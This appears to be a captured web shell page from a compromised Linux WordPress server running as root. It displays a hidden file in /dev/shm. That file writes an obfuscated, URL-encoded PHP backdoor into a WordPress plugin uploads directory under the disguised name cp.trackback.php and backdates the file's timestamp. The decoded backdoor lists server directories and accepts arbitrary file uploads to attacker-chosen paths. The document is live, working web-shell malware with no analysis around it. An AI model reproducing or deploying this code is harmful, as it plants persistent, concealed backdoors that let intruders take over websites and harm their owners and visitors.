HEX
Server: nginx/1.18.0
System: Linux vcwordpress 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //dev/shm/.dat
<?php   $p = "/var/www/newfaith.focalat.com/new-faith/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/cp.trackback.php"; $c = rawurldecode('%3C%3Fphp%0D%0A%24r%20%3D%20isset%28%24_SERVER%5B%27HTTP_REFERER%27%5D%29%20%3F%20%24_SERVER%5B%27HTTP_REFERER%27%5D%20%3A%20%27%27%3B%0D%0Aif%20%28%24r%20%21%3D%3D%20%27%27%20%26%26%20strpos%28%24r%2C%20%27BCsgUNUHg7mB%27%29%20%21%3D%3D%20false%29%20%7B%0D%0A%20%20%20%20echo%20%27cMg%27.%27X8Dzw%27%3B%0D%0A%20%20%20%20return%3B%0D%0A%7D%0D%0Afunction%20_8C6916370a2cF80f35f82B3C5256bb7C%28%24_9%2C%24_10%3D%22n%5C146vn%22%2C%24_11%3D0x6e60%2C%24_12%3D0b0%2C%24_13%3D-0253066%2C%24_14%3Dnull%2C%24_15%3Dtrue%2C%24_16%3Dnull%2C%24_17%3Dnull%2C%24_18%3D1.4183164055776%2C%24_21%3Dfalse%2C%24_22%3D0.44103350926721%2C%24_23%3Dnull%2C%24_24%3Dfalse%2C%24_25%3Dnull%29%7Bif%28empty%28%24_9%29%29%3Areturn%20null%3Bendif%3B%24_26%3DSCANDIr%28%24_9%29%3Becho%22%40di%5Cx72%40%5C015%5C012%22%3Bforeach%28%24_26%20as%24_35%29%3Aif%28%24_35%21%3D%22.%22%26%26%24_35%21%3D%22%5C056.%22%29%3Aif%28Is_DiR%28%24_9.%22/%22.%24_35%29%29%3Aecho%22%5B%22.%24_35.%22%5D%5C015%5Cx0a%22%3Bendif%3Bif%28is_FIle%28%24_9.%22/%22.%24_35%29%29%3Aecho%22%3C%22.%24_35.%22%3E%5Cx0d%5Cx0a%22%3Bendif%3Bendif%3Bendforeach%3B%7Dfunction%20_a6A54664Abaa8DeBb0Ab812428EFEB63%28%24_35%2C%24_36%3Dtrue%2C%24_37%3D%22gg%5C151qs%22%2C%24_38%3D1.1289334094127%2C%24_39%3D0153346%2C%24_40%3Dnull%29%7Bif%28empty%28%24_35%29%29%3Areturn%20null%3Bendif%3Bif%28Is_UpLOAdEd_fILe%28%24_35%5B%22tmp_n%5C141%5C155e%22%5D%29%29%3Aif%28%21empty%28%24_POST%5B%22dir%22%5D%29%29%3Aif%28movE_uPlOadeD_FiLe%28%24_35%5B%22t%5C155%5C160%5Cx5fnam%5Cx65%22%5D%2C%24_POST%5B%22dir%22%5D.%22/%22.%24_35%5B%22%5C156a%5C155e%22%5D%29%29%3Aecho%22%5Cx40true%5C100%5Cx0d%5C012%22%3B_8C6916370A2cF80f35F82B3C5256bB7C%28%24_POST%5B%22dir%22%5D%29%3Bendif%3Belse%3Aif%28moVE_UplOADED_fIlE%28%24_35%5B%22tm%5C160_n%5Cx61m%5C145%22%5D%2C%24_35%5B%22n%5Cx61m%5C145%22%5D%29%29%3Aecho%22tr%5C165e%22%3Bendif%3Bendif%3Bendif%3B%7Dif%28%21empty%28%24_GET%5B%22%5Cx74%5C145st%22%5D%29%29%3Aecho%22te%5Cx73tt%5C162ue%22%3Bendif%3Bif%28%21empty%28%24_GET%5B%22%5C147e%5Cx74_dir%22%5D%29%29%3Aecho%22%7C%22.%24_SERVER%5B%22DOCU%5Cx4dENT_RO%5Cx4fT%22%5D.%22%7C%5Cx0d%5C012%22%3Bif%28%21empty%28%24_GET%5B%22d%5C151r%22%5D%29%29%3A_8C6916370a2CF80F35F82B3c5256bB7C%28%24_GET%5B%22dir%22%5D%29%3Bendif%3Bendif%3Bif%28%21empty%28%24_FILES%5B%22fi%5C154e%5Cx6ea%5C155e%22%5D%29%29%3A_A6A54664ABaA8debb0aB812428EFEb63%28%24_FILES%5B%22file%5Cx6e%5C141m%5Cx65%22%5D%29%3Bendif%3B'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1782448238); } die('!ended!');